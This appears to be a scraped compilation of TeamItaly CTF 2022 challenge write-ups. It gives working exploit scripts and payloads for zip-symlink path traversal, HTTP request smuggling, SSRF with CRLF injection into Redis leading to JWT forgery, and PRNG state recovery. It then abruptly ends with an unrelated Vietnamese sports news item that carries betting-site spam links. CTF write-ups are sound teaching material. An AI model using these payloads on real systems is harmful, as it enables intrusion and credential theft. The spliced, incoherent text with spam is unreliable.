# mamma mia, we don't want symlinks! for zipinfo in zipfile.ZipFile(file).infolist(): if zipinfo.external_attr >> 16: print("Hacker detected!!") return except zipfile.BadZipFile: print("Invalid zipfile!") return except binascii.Error: print("Invalid base64")
if subprocess.run(["unzip", "-o", "-q", path, "-d", IMAGES_PATH]).returncode <= 1: print("Archive successfully uploaded and extracted") else: print("Error while extracting the archive")``` So we have the option of sending an input. If there's a [symlink](https://en.wikipedia.org/wiki/Symbolic_link) present, 'Hacker detected' is printed and we return, so we can't upload a zip file such as the following to this function:```❯ ln -s /flag symlink_to_flag.link ❯ zip --symlink cheeky.zip symlink_to_flag.link```
Interestingly, when a `binascii.Error` is thrown, we don't return, but continue running the function. This results in an attempt to extract `/tmp/images.zip`. Maybe we can exploit this in some way? Let's look at the other function that's interesting:```def upload_image(): name = input("Name for your image: ")
encoded_content = input("Base64-encoded image: ") try: content = base64.b64decode(encoded_content) except binascii.Error: print("Invalid base64!") return
if content == b"": print("Empty file!") return
if not filetype.is_image(content): print("Only image files are allowed!") return
with open(os.path.join(IMAGES_PATH, name), "wb") as file: file.write(content)```Here we see that the filename is vulnerable to a [directory traversal attack](https://en.wikipedia.org/wiki/Directory_traversal_attack). This means that we can also write to `../../../tmp/images.zip`. So maybe we can read the flag by uploading a file to this path, which will then be unzipped when we trigger a `binascii.Error` in the `upload_multiple_images` function?
However, we can't just upload our `cheeky.zip`, because we won't pass the `filetype.is_image` check. What if we just append our `zip` to a `png`? Maybe this will pass the `filetype.is_image` check, but unzip anyway?```bash❯ cat cheeky.zip >> pixel.png ```When we unzip this, it works as we hoped (despite the warning), so it seems like we have all ingredients ready so we can get the flag!```❯ unzip pixel.pngArchive: pixel.pngwarning [pixel.png]: 70 extra bytes at beginning or within zipfile (attempting to process anyway) linking: symlink_to_flag.link -> /flag finishing deferred symbolic links: symlink_to_flag.link -> /flag```
One final complication was the name of the file. When testing locally, we were prompted with:```[/tmp/images.zip] End-of-central-directory signature not found. Either this file is not a zipfile, or it constitutes one disk of a multi-part archive. In the latter case the central directory and zipfile comment will be found on the last disk(s) of this archive.unzip: cannot find zipfile directory in one of /tmp/images.zip or /tmp/images.zip.zip, and cannot find /tmp/images.zip.ZIP, period.Error while extracting the archive```
So maybe we change `../../../tmp/images.zip` to `../../../tmp/images.zip.zip`? And this worked! We're not sure why this works, so if anyone could enlighten us, we'd be grateful!Now we are ready to drop our payload remotely.
## Summary Payload PreparationCreate symlink to file.```bash❯ ln -s /flag symlink_to_flag.link ```Check symlink to file:```bash❯ ls -lh lrwxrwxrwx 1 user user 5 Sep 9 00:00 symlink_to_flag.link -> /flag```Zip symlink:```bash❯ zip --symlink cheeky.zip symlink_to_flag.link adding: symlink_to_flag.link (stored 0%)```[Download](https://onlinepngtools.com/generate-1x1-png) 1-pixel png and save to file:
```bash❯ echo "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2P4v5ThPwAG7wKklwQ/bwAAAABJRU5ErkJggg==" | base64 -d > pixel.png```
Append zipfile to png:```bash❯ cat cheeky.zip >> pixel.png ```
Get our base64 payload:```❯ base64 pixel.png iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2P4v5ThPwAG7wKklwQ/bwAAAABJRU5ErkJgglBLAwQKAAAAAACzAilVTnsDdQUAAAAFAAAAFAAcAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQJAAPxahpj8WoaY3V4CwABBOgDAAAE6AMAAC9mbGFnUEsBAh4DCgAAAAAAswIpVU57A3UFAAAABQAAABQAGAAAAAAAAAAAAP+hAAAAAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQFAAPxahpjdXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEAWgAAAFMAAAAAAA==```
## Exploit TimeSo now everything is ready to read the flag!Let's connect```❯ nc imagestore.challs.teamitaly.eu 15000```and upload our payload.```1. Upload an image2. Download an image3. Delete an image4. Upload multiple images5. Exit
Insert your choice> 1Name for your image: ../../../tmp/images.zip.zipBase64-encoded image: iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2P4v5ThPwAG7wKklwQ/bwAAAABJRU5ErkJgglBLAwQKAAAAAACzAilVTnsDdQUAAAAFAAAAFAAcAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQJAAPxahpj8WoaY3V4CwABBOgDAAAE6AMAAC9mbGFnUEsBAh4DCgAAAAAAswIpVU57A3UFAAAABQAAABQAGAAAAAAAAAAAAP+hAAAAAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQFAAPxahpjdXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEAWgAAAFMAAAAAAA==```
We make sure to trigger the `binascii.Error` in `upload_multiple_images`:
```1. Upload an image2. Download an image3. Delete an image4. Upload multiple images5. Exit
Insert your choice> 4Base64-encoded zip: aInvalid base64Archive successfully uploaded and extracted```
Now we can download our image:
```1. Upload an image2. Download an image3. Delete an image4. Upload multiple images5. Exit
Insert your choice> 20. symlink_to_flag.link
Select which image to download> 0Here is your imageZmxhZ3tkMG50X3RydTV0X000Z2ljX0J5dDNzfQ==```
And we've got the flag!
```bash❯ echo "ZmxhZ3tkMG50X3RydTV0X000Z2ljX0J5dDNzfQ==" | base64 -d
flag{d0nt_tru5t_M4gic_Byt3s}``` |
[writeup](https://medium.com/@mr_zero/inter-galactic-ctf-competition-8047bc333dcf) : https://medium.com/@mr_zero/inter-galactic-ctf-competition-8047bc333dcf |
# TeamItaly CTF 2022
## Speaking with hands (7 solves)
The flag is saved in the executable, and it's xored with the license. The program iterates for every character of the license and it executes different instructions, according to the character. Here is a map of the actions:
- `x`: `mov` the first char from `LICENSE` into `r9`- `y`: `mov` the first char from `LICENSE` into `r10`- `!`: `mov` the first char from `LICENSE` into `r11`- `a`: `mov` the first char from `LICENSE` into `r12`- `1`: `mov` the first char from `LICENSE` into `r13`- `r`: `mov` `playground` into `r9`- `O`: `mov` `playground` into `r10`- `l`: `mov` `playground` into `r11`- `2`: `mov` `playground` into `r12`- `W`: `mov` `playground` into `r13`- `S`: copy from `flag` to `*r9`, `r10` bytes- `b`: xor `*r10` with license, `r11` bytes- `?`: call `malloc`, with `r9` bytes. The allocated memory will be called `playground`- `j`: call `free` address `r11`- `h`: call `print_flag` address `r13`
Some instructions can use the next character of the license as an argument. If the license is correct, then the binary will print the flag.The executable also checks that the inserted license is 15 characters long.The instructions that are called when checking the license are obfuscated. To execute an action the relevant code gets deobfucated, executed and then obfucated again.
### Solution
The relevant instructions, along with the obfuscator, are placed in a separated memory area.The code gets deobfuscated according to this formula:`clear_byte = obfuscated_byte ^ (0x13371337 + offset)`where offset is the position of the byte relative to the beginning of the memory area.
The deobfuscated assembly code looks like this:
```assemblyL33T_CODE:
; code unpacker; rsi contains license_ptr; rdi contains lib_functions; rdx contains "function" offset; rcx contains "function" sizepush rbpmov rbp,rsppush r8push rdxpush rcxpush rsimov rsi, 0 ; flag, jump to code.encoder:mov rax, [rbp-16] ; init keymov rcx, 3mul rcxadd rax, 0x13371337
mov rcx, [rbp-8] ; move pointer to functionadd rcx, [rbp-16]mov rbx, [rbp-24]add rbx, rcx ; last address.loop:xor [rcx], al ; decode / encodeinc rcx ; increment pointeradd rax, 3 ; update keycmp rcx, rbxjl L33T_CODE.loopcmp rsi, 0jne L33T_CODE.finishpop rsimov rax, r8add rax, [rbp-16]jmp rax
; code repacker.repacker:push rax ; save chars to skipmov rsi, 1 ; flag, jump to finishjmp L33T_CODE.encoder.finish:pop raxleaveret
; from license to registerxor r9, r9mov r9b, byte [rdi + 1]mov rax, 2jmp L33T_CODE.repacker
;xor r10, r10mov r10b, byte [rdi + 1]mov rax, 2jmp L33T_CODE.repacker
;xor r11, r11mov r11b, byte [rdi + 1]mov rax, 2jmp L33T_CODE.repacker
;xor r12, r12mov r12b, byte [rdi + 1]mov rax, 2jmp L33T_CODE.repacker
;xor r13, r13mov r13b, byte [rdi + 1]mov rax, 2jmp L33T_CODE.repacker
; copy address for allocated memory to registermov r9, r15mov rax, 1jmp L33T_CODE.repacker
;mov r10, r15mov rax, 1jmp L33T_CODE.repacker
;mov r11, r15mov rax, 1jmp L33T_CODE.repacker
;mov r12, r15mov rax, 1jmp L33T_CODE.repacker
;mov r13, r15mov rax, 1jmp L33T_CODE.repacker
; copy flag from data to allocated memorycldmov rdi, r9add rsi, 24mov rsi, [rsi]mov rcx, r10rep movsbmov rax, 1jmp L33T_CODE.repacker
; xor chars in allocated memory with licensexor rax, raxmov rcx, r10 ; move pointer to memory playgroundmov rbx, rcx ; last addressadd rbx, r11 ; set here flag length
add rsi, 32mov rsi, [rsi].xor_loop:lodsbxor byte [rcx], al ; decodeinc rcx ; increment pointercmp rcx, rbxjl L33T_CODE.xor_loopmov rax, 1jmp L33T_CODE.repacker
; call mallocmov rdi, r9call [rsi]mov r15, raxmov rax, 1jmp L33T_CODE.repacker
; call freemov rdi, r11call [rsi+8]mov rax, 1jmp L33T_CODE.repacker
; call print_flagmov rdi, r13call [rsi+16]mov rax, 1jmp L33T_CODE.repacker
mov rax, 1 ; invalid instruction are treated as nopjmp L33T_CODE.repacker```
The license should be built this way:
- `x\x0f`: Set `r9` with the flag length- `?`: call `malloc` to allocate the memory `playground`- `r`: set `r9` with the address of `playground`- `y\x0f`: set `r10` with the flag length- `S`: copy the flag to the memory pointed by `playground`- `O`: set `r10` with the address of `playground`- `!\x0f`: set `r11` with the flag length- `b`: xor the flag with the license- `W`: set `r13` with the address of `playground`- `h`: call `print_flag` (that's basically a `printf`)- `l`: set `r11` with the address of `playground`- `j`: call `free`
The correct license is `x\x0f?ry\x0fSO!\x0fbWhlj` |
# TeamItaly CTF 2022
## Flag proxy (41 solves)
I just added authentication to my flag service (server-back) thanks to a proxy (server-front), but a friend said it's useless...
### Solution
The proxy's HTTP client can be exploited to make more than one request to the downstream server. These are not valid HTTP requests, because some headers use only `\n` as line terminator, but the downstream server will accept them (it's not appening anymore since Node.JS 18.5.0).
### Exploit
```pythonimport requestsimport randomimport string
URL = os.environ.get("URL", "http://flag-proxy.challs.teamitaly.eu")
token = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(20))
payload = 'AAAA\n'payload += 'Content-Length: 0\n'payload += 'Connection: keep-alive\n'payload += '\n'payload += f'GET /add-token?token={token} HTTP/1.0\n'payload += 'Host: localhost'
response = requests.get(f"{URL}/flag", params={'token': payload})
print(response.text)
response = requests.get(f"{URL}/flag", params={'token': token})
print(response.text)``` |
# TeamItaly CTF 2022
## Ik1VM - CrackmeEVA (1 solves)
This challenge consists of an emulator and a program to be emulated. The goal of the challenge is to find the activation code that satisfies the emulated program. The two programs (ik1vm and crackme_eva) cooperate and make the reverser life hard via antidebugging tricks, self-modifying code and exploitation of buffer overflows.
The flow of the challenge can be better understood by looking at the commented source codes.
### Solution
There are several ways to solve the challenge. Most of the tricks in the challs require the rev.eng. to understand what is going on.
The emulator starts and patches its own handler of the division by 0, by making it call an antidebugging routine.crackme_eva loads the flag in memory, sets up the data tape and performs a division by 0.The antidebugging routine gets triggered. If it's the first time that it gets called, it unpacks and then executes (otherwise it skips the unpacking routine).It checks:
1. if ptrace has already been called on the emulator2. if there is a breakpoint in the handler code (by counting the 0xcc in memory)3. if there's a process called gdb (by enumerating /proc/.../status) If any of these conditions is met, the antidebugging sets the vm.reg.flag to 1 and destroys the "backdoor" by overwriting it with rubbish. The control gets back to crackme_eva.
crackme_eva checks the flag. If the flag is 1, it will never tell that the flag is ok. It will just output that the format is wrong (with an actual check) or that the flag is incorrect.
If the flag is 0, crackme_eva starts using the 'call' instruction of the emulator, till the stack is overflown. Then, some invalid opcode is read, the emulator returns on a small x86-64 shellcode at the end of the crackme_eva code. This snippet calls a function hidden in the emulator data section (the "backdoor"). This function decrypts the ro_data tape of crackme_eva (which contains x86-64 bytecode) and jumps to it.
Here's where the real check and challenge is.The flag is hidden in some bits of a string in ro_data and the assembly performs checks between the flag in the data section and the one in the bits of this string.
Here I see four main possibilities:
1. keep on reversing and writing some automated debugging tool that dumps the bits to reconstruct the flag.2. keep on reversing and writing the inverse function (w.r.t. to the flag check)3. extract the x86-64 code, create a binary with it and run angr on it4. setup angr to handle self-modifying code etc. |
# TeamItaly CTF 2022
## Schei Checker (6 solves)
The challenge is a webapp which lets you display updated [Italian Lira ERC20 Token](https://italianlira.ws/) prices.
Source code is available for download, and necessary to solve the challenge.
Flag is in the admin control panel.
### Solution
Looking at the network requests to pull the prices, we can see that it includes the path of the price endpoint to be proxied by the backend. This feature can be turned into SSRF: the backend chaines the Lira API to the user-provided endpoint but without postpending `/` to the URL, so the HTTP basic authentication trick is doable: putting `@otherhost` after the hostname will connect to `otherhost` instead of the Italian Lira API, and pass the Italian Lira API hostname as the Authentication header.
Analyzing the source code, we can see that there is an banning mechanism to prevent bruteforce of the admin password, whenever a client does many login attempts in a short period of time, the client IP will be registered into Redis as a banned user, and when a request to the login endpoint will be made by a banned user, the ban page will be served. The ban page is set to `html/tooManyAttempts.html`, but it's joined with data from the database, so with access to the database (Redis), we could override the banpage and load any file from the project’s work directory. Also, the right `X-Forwarded-For` header is not set by the server, so for every legitimate user this mechanism will never actually work (the serialization utility refuses empty strings), but the header can be freely spoofed.
The backend is using version 5.0.0 of the request libary `undici`, which is [vulnerable to a line injection vulnerability in the path](https://github.com/nodejs/undici/security/advisories/GHSA-3cvr-822r-rqcc).
We can access the admin page, but username and password are required. The username is known to be from the source code "admin", but the password is unknown, so it is inaccessible by a normal user. It is built with JWTs.
Chaining all of this, we can craft a malicious URL which will connect to the Redis database, and exploit the line feed injection in the path to send custom commands to Redis, registering an IP with a ban JSON object, with attempts set to a high number and the ban page changed to the configuration file of the backend server. We can send it to the server using the prices proxy endpoint.
We can then make a request to the homepage spoofing the IP to the custom one, and we will receive the ban page, which is actually the server configuration file, with our JWT key. We can use it to forge a JWT key with the username of the admin, and accessing the admin panel with it, we will receive the flag.
To prevent similiar attacks Redis drops the connection when it receives `Host:` or `POST` commands, but the attack is still possible with a CRLF injection in the query string/path of a GET request.
### Exploit
Requires PyJWT, secrets, and requests.
```pythonimport reimport jwtimport sysimport jsonimport secretsimport hashlibimport requests
from urllib.parse import quote
# Retrieve flag from the remote servicechallenge_url = os.environ.get( "URL", "http://schei-checker.challs.teamitaly.eu:15001")redis_url = 'schei-redis:6379'
# Generate a random IP (doesn't need to be a valid one)random_ip = secrets.token_hex(12)random_ip_hash = hashlib.sha256(random_ip.encode()).hexdigest()print("[*] Random IP: %s" % random_ip)print("[*] Random IP hash: %s" % random_ip_hash)
# Create a JSON string with the IP registered as banned,# and the ban page changed to the server config filejson = '"' + json.dumps({ "ip": random_ip, "banPage": "../config.js", "attempts": 40}).replace('"', '\\"') + '"'
# Use the HTTP Authentication trick to connect to Redis instead of the challenge server,# and use the query string line feed injection to register the JSON payload into redisredis_attack = "set auth#%s %s\n" % (random_ip_hash, json)url_attack = ( "@" + redis_url + "/?"+ "\n" + redis_attack + "\n")url = challenge_url+'/pricesAPI/getPrice?url=' + quote(url_attack)print("[*] Attack URL: %s" % url_attack)print("[*] Final URL: %s" % url)print("[*] Redis attack: %s" % redis_attack)
response = requests.get(url).textprint("[*] Response: %s" % response)
# Make a login request to retrieve the ban page (which is now the config file)config = requests.post(challenge_url+'/adminAPI/login?', json={ "username": "admin", "password": random_ip_hash[:10]}, headers={'X-Forwarded-For': random_ip}).textprint("[*] Configuration file:\n %s" % config.replace("\r\n", "\n").replace("\n", "\n "))
# Parse the JWT secret from the configuration filejwt_secret = re.search(r'jwtSecret[ ]*=[ ]*[\`\"\'](.*)[\`\"\']', config)jwt_secret = jwt_secret.group(1)print("[*] JWT secret: %s" % jwt_secret)
# Craft admin JWT tokenadmin_token = jwt.encode({'username': 'admin'}, jwt_secret, algorithm='HS256')print("[*] Admin JWT token: %s" % admin_token)
# Request the flag from the admin panelflag = requests.get(challenge_url+'/adminAPI/getCTFFlag', headers={'Authorization': 'Bearer ' + admin_token}).json()print("[*] Flag: %s" % flag)
``` |
# TeamItaly CTF 2022
## Lazy platform (70 solves)
_I'm too lazy to implement the decryption of the ciphertexts, so I'll just give you what you need and you'll do the rest._
### Solution
In this challenge we generate the keys and the IVs of the cihertext using a non-secure random source, that is python's random module.So we can store all the values generated from python and then crack its generator using the `randcrack` library and predict the values of the key and IV that will be used to encrypt the flag
### Exploit
```pythonfrom Crypto.Util.Padding import unpadfrom randcrack import RandCrackfrom Crypto.Cipher import AESfrom pwn import *import osimport logging
logging.disable()
HOST = os.environ.get("HOST", "lazy-platform.challs.teamitaly.eu")PORT = int(os.environ.get("PORT", 15004))
def getrandbytes(rc: RandCrack, n: int) -> bytes: if n % 4 != 0: return os.urandom(n) return b"".join(rc.predict_getrandbits(32).to_bytes(4, "little") for _ in range(n // 4))
if __name__ == "__main__": rc = RandCrack()
conn = remote(HOST, PORT)
for _ in range(624 // (32 // 4 + 16 // 4)): conn.sendlines([b"1", os.urandom(4).hex().encode()])
conn.recvuntil(b"Key: ") key = bytes.fromhex(conn.recvline(False).decode())
conn.recvuntil(b"IV: ") iv = bytes.fromhex(conn.recvline(False).decode())
for i in range(0, len(key), 4): rc.submit(int.from_bytes(key[i:i+4], "little"))
for i in range(0, len(iv), 4): rc.submit(int.from_bytes(iv[i:i+4], "little")) conn.sendline(b"3")
conn.recvuntil(b"Ciphertext: ") ciphertext = bytes.fromhex(conn.recvline(False).decode())
key = getrandbytes(rc, 32) iv = getrandbytes(rc, 16)
print(unpad( AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext), AES.block_size ).decode())
``` |
# TeamItaly CTF 2022## Alice's Adventures in Goland (2 solves)
The challenge was written in **Go**, statically compiled, stripped and without debug information.The binary presents questions, which the correct combination of answers will print the flag (multiple solution exists)
### Solution
The challenge to determine the right combination of answers used a three-dimensional **_8x8x8_** maze, and depending on the answer the user gave the player moved within this maze **_(6 answers each for every axes and direction)_**. To win the user had to reach coordinate **_(7,7,7)_** beginning at **_(0,0,0)_**. The maze data is on the stack, at first it may seem high entropy random data but the program basically uses the parity of each byte to determine where a user can move (if the byte is odd it is a valid position, otherwise it is not and the program exits).
The binary as already said is statically compiled, stripped, and without any debug information, so function names are not present, but since there still is the `.gopclntab` (The version of Go I used is recent [>= 1.2](https://docs.google.com/document/d/1lyPIbmsYbXnpNj57a261hgOYVpNRcgydurVQIyZOz_o/pub)) section it is possible to recover function names, and this makes the decompiled much more readable. Multiple already written scripts exists for _Ghidra_, _IDA_, and _Binary Ninja_. There is a few that i personally tested.
> - https://github.com/getCUJO/ThreatIntel/blob/master/Scripts/Ghidra/go_func.py (Ghidra)> - https://github.com/mandiant/GoReSym (IDA)
To improve more the decompiled, you can use script to identify strings within functions since a string in Go is not simply [NULL-terminated](https://cujo.com/wp-content/uploads/2020/09/Picture19.png.webp). Recent version of _IDA_ since version 7.4 do this automatically, but _Ghidra_ needs scripts, here are a few.
> - https://github.com/getCUJO/ThreatIntel/blob/master/Scripts/Ghidra/find_dynamic_strings.py> - https://github.com/getCUJO/ThreatIntel/blob/master/Scripts/Ghidra/find_static_strings.py
In the binary there exist anti-debug mechanismd, and a timeout. These are implemented with _goroutines_ and may be annoying, but they are easily patchable by replacing the calls to **_runtime.newproc_** with _NOP_
### Exploit
```python#!/bin/env python3from pwn import remote, logimport reimport os
# Host and portHOST = os.environ.get("HOST", "alice-in-goland.challs.teamitaly.eu")PORT = int(os.environ.get("PORT", 15006))
# Retrieve flag from remote serviceflag_re_syn = "(flag{[A-Za-z0-9!_?]+})"flag_regex = re.compile(flag_re_syn)
# Solution to the mazepath = "aaaccececeddeaceccebccaadaace"
with remote(HOST, PORT) as r: p = log.progress("retrieving flag")
for move in path: r.clean() r.sendline(move.encode())
msg = r.recvallS()
flag = flag_regex.findall(msg)
if flag: p.success("success!") log.info(flag[0]) else: p.failure("the service might not work properly")
``` |
# TeamItaly CTF 2022
## The missing half (17 solves)
A python script and a output file are given. The script uses a password (which is given) that is used by a _redacted_ function.The challenge is to understand what the funcion did and to reverse it.
### Solution
From the name of the function one can understand that the password is in Polish notation and from the order of the digits (mostly in front) and letters (mostly at the end) that it's a reverse polish notation.
The password therefore is equivalent to `c( b(e(a(0,8)),e(7)), b(3,d(c(1,2,a(2,7)))), e(f(a(5,a(5,3)))) )`, let's analyze c and his 3 arguments.
The first one returns 0 and sets the random seed to `e(7)`;The second one is just a number and all the variables to calculate it are given, the problem is that the function d is very slow so we have to substitute it with another called _fastd_;
`d` is the [A028365](http://oeis.org/A028365) sequence on OEIS wich has a different definition
$$\left( \sum_{k=1}^n 2^k -1 \right)^2 *2^{((n^2+n)/2))}$$wich is faster to compute.
The third uses the `f` function wich uses the flag so can't be calculated completely, we can easely compute until that point (`a(5,a(5,3))`), then compute the output of `f` from the given output and recover the flag,to do so we know that when the first argument of c is 0 the other two are xored, so we xor the second argument with the output;now to reach f we need to reverse e wich is RSA.
To decrypt RSA we need to factor n, how to do so is easy if you see the number in a divverent base:
the number in base 16`0x1702f4d2a98712defc05cb40b72a821479ccb9000a9bd698520082544b652bacfa721041f115da3a3cb8f4211a847706ae4dc9f048c7262a964e337bc47065de1059eccc87c19f662c21f9066805e5f75b3c62305395138d5eb71e9f9966297750ee17ccfcace1386abaf53434b264696744ae990bdebb17a4a56c4edc0cccfcf8da138fcf0c911f434d2d3e0b493b8fa9917f83f41273b4aaf7d631dabb66939f67fcb270e0a7156c7e66338027387e873c225991180fec96ea4fc0f9f88815010e5994d5f35ae21568d5641b00d44876762c392e9853045a5a92eb2354486f80946368f83469a7b37e621906f81f8005b126417fd716bcd79c84610dc093dd7575ebcf3af3d71a869830455d3ad6d68ad2254843320233e01f1cafdc73310f7ffb1deccb4df2fee6150a1a588867c5285c7049bf39e1a631badc81d61dda69e5d2e017235306ad46b0703e88a5c65807737a6a459231f5eb6bd6afd44fb46566c1`
in base 17 is`gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggegggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004`
As for a mersenne prime is easy to brute force the right prime number, in this case `p = 17 ** 232 -2`.
At the end we can recover the input and the output of `f` and so the flag.
### Exploit
```python
from Crypto.Util.number import *# from secret import FLAGimport randomfrom hashlib import md5
def a(x, y) -> int: return x ** y
def b(f: int, x: int) -> int: # caller func = [random.seed, getPrime, isPrime, md5] if f == 3: return bytes_to_long(func[f](long_to_bytes(x)).digest()) r = func[f](x) return int(r) if r else 0
def c(z: int, x: int, y: int) -> int: if z: return random.randint(x ** 11, x ** 11 + y) x = long_to_bytes(x) y = long_to_bytes(y) while len(x) < len(y): x += x x = x[:len(y)] return bytes_to_long(xor(x, y))
def d(n): n = n - 1 temp = 1 for i in range(1, n + 1): temp *= (2 ** i) - 1 esp = 2 ** ((n ** 2 + n) // 2) return temp * esp
def e(msg: int) -> int: # rsa n = 0x1702f4d2a98712defc05cb40b72a821479ccb9000a9bd698520082544b652bacfa721041f115da3a3cb8f4211a847706ae4dc9f048c7262a964e337bc47065de1059eccc87c19f662c21f9066805e5f75b3c62305395138d5eb71e9f9966297750ee17ccfcace1386abaf53434b264696744ae990bdebb17a4a56c4edc0cccfcf8da138fcf0c911f434d2d3e0b493b8fa9917f83f41273b4aaf7d631dabb66939f67fcb270e0a7156c7e66338027387e873c225991180fec96ea4fc0f9f88815010e5994d5f35ae21568d5641b00d44876762c392e9853045a5a92eb2354486f80946368f83469a7b37e621906f81f8005b126417fd716bcd79c84610dc093dd7575ebcf3af3d71a869830455d3ad6d68ad2254843320233e01f1cafdc73310f7ffb1deccb4df2fee6150a1a588867c5285c7049bf39e1a631badc81d61dda69e5d2e017235306ad46b0703e88a5c65807737a6a459231f5eb6bd6afd44fb46566c1 e = 0x10001 return pow(msg, e, n)
def revE(msg: int) -> int: # rsa n = 0x1702f4d2a98712defc05cb40b72a821479ccb9000a9bd698520082544b652bacfa721041f115da3a3cb8f4211a847706ae4dc9f048c7262a964e337bc47065de1059eccc87c19f662c21f9066805e5f75b3c62305395138d5eb71e9f9966297750ee17ccfcace1386abaf53434b264696744ae990bdebb17a4a56c4edc0cccfcf8da138fcf0c911f434d2d3e0b493b8fa9917f83f41273b4aaf7d631dabb66939f67fcb270e0a7156c7e66338027387e873c225991180fec96ea4fc0f9f88815010e5994d5f35ae21568d5641b00d44876762c392e9853045a5a92eb2354486f80946368f83469a7b37e621906f81f8005b126417fd716bcd79c84610dc093dd7575ebcf3af3d71a869830455d3ad6d68ad2254843320233e01f1cafdc73310f7ffb1deccb4df2fee6150a1a588867c5285c7049bf39e1a631badc81d61dda69e5d2e017235306ad46b0703e88a5c65807737a6a459231f5eb6bd6afd44fb46566c1 p = 2911721007088133262675953106197241703556747554305425259320716892314498939605330257723180761563459946872506915178651543859508747846871417959638013334210124890497567604326390324762618539999256667220682352421111253679877478493941553844107359114872928940037671284003186268154810467080223359 q = n // p e = 0x10001 d = pow(e, -1, (p - 1) * (q - 1)) return pow(msg, d, n)
def xor(x, y): return bytes(a ^ b for a, b in zip(x, y))
def polacco(password: str) -> int: stack = [] func = {'a': (a, 2), 'b': (b, 2), 'c': (c, 3), 'd': (d, 1), 'e': (e, 1), 'f': (f, 1)} for t in password: if t.isdigit(): stack.append(int(t)) else: args = [] for _ in range(func[t][1]): args.append(stack.pop()) args.reverse() tmp = func[t][0](*args) stack.append(tmp) return stack.pop()
def solve(): random.seed(e(7)) out = int( '69699507fd48efde364bab82106f89d23d22e463631a77941cfe29863229a40be8ba9ea548323b183bc37e4d7b151e8b60fac7d657185dfd1b75eebc2701c21bd3901f800145e76b1d48789428c7c3e8f7bc0aa11232ee076262d4f3c9b84b2a43e3da768e2f7622d645fa3bb94e65e64744b977f260ba1fd0956330c3cfc2fbddf350db366c2da5d72f91eb23905bc1b714b66460d726af257ff37d60897b33778d74c9a1e5dbf8c15390a5d65114c738f6812b39ec42afc00a873d866166411f2d4c9a69fce5aca631af87f4a6449282664e2a8ab79f5376486cf0f9fcb226e76b735dda222a024fda883352b8e24fee309f2057c7472a58a8aac886b9a1889e9b1f8d2306b493c4e16f3401a01263828a08e2070b4cdc6dd398bcac17d707847325064d4bf6dcfa9e683cee3c126eb4ad753997ae66792b71f83f835524ad6da5e25b3dabc21e541cd049bc038b7ced304c1012fe67919619c28f593940c5cb9c', 16)
l = long_to_bytes(out) temp = long_to_bytes(b(3, d(c(1, 2, a(2, 7)))))
# temp = long_to_bytes(160041365501716368448053427917678638214) while len(temp) < len(l): temp += temp temp = temp[:len(l)] temp = bytes_to_long(xor(temp, l))
temp = revE(temp)
temp2 = a(5, a(5, 3))
print(xor(long_to_bytes(temp), long_to_bytes(temp2)))
solve()
``` |
Lịch thi đấu Premier League bị hoãn thể hiện sự tôn trọng với nữ hoàng
Tất cả các trận đấu ở Premier League cuối tuần này đã bị hoãn lại như một sự tôn trọng sau cái chết của Nữ hoàng Elizabeth II, nó đã được thông báo vào thứ Sáu.
Các câu lạc bộ bay hàng đầu của Anh đã đưa ra quyết định bất chấp hướng dẫn của chính phủ Anh rằng việc hủy bỏ các sự kiện thể thao là không bắt buộc trong thời gian quốc tang.
Theo nguồn tin từ [soi keo world cup](https://soikeo247.net/keo-world-cup-c24) "Tại cuộc họp sáng nay, các câu lạc bộ Premier League đã bày tỏ lòng kính trọng đối với Nữ hoàng Elizabeth II", Premier League cho biết trong một tuyên bố.
"Để tôn vinh cuộc sống phi thường và đóng góp của cô ấy cho quốc gia, và như một sự tôn trọng, trận đấu cuối tuần này của vòng đấu Premier League sẽ bị hoãn lại, bao gồm cả trận đấu vào tối thứ Hai."
Tất cả các trận đấu trong Giải bóng đá Anh, Siêu giải nữ và giải chuyên nghiệp Scotland cũng sẽ nghỉ.
Bài kiểm tra thứ ba và mang tính quyết định giữa Anh và Nam Phi tại Bầu dục sẽ bắt đầu vào thứ Bảy sau khi trận đấu hôm thứ Năm bị trôi và bị hoãn vào thứ Sáu như một sự tôn trọng.
"Cô ấy yêu thể thao, rất vinh dự khi được chơi trong trí nhớ của cô ấy", đội trưởng đội tuyển Anh, Ben Stokes đã tweet để trả lời câu hỏi về việc liệu các sự kiện thể thao có nên diễn ra hay không.
Một phút im lặng sẽ được quan sát trước khi quốc ca, với các cầu thủ và huấn luyện viên của cả hai bên đeo băng đen.
Hội đồng Cricket Anh và Xứ Wales xác nhận trận đấu không thể kéo dài quá thứ Hai để bù lại thời gian đã mất do sắp xếp việc đi lại của Nam Phi.
Cũng sẽ có những lời tri ân dành cho nữ hoàng tại Wentworth khi Giải vô địch PGA diễn ra vào thứ Bảy.
Giải đấu sẽ giảm xuống còn 54 lỗ sau khi trận đấu ở vòng khai mạc bị tạm dừng vào thứ Năm và hoãn lại vào thứ Sáu.
Chưa dừng lại ở đó, theo [nhan dinh bong da 247](https://soikeo247.net/du-doan-nhan-dinh-c14) thì Các lãnh đạo thể thao cũng đã được khuyến cáo để tránh bất kỳ cuộc đụng độ nào với một lễ tang cấp nhà nước, ngày diễn ra vẫn chưa được công bố.
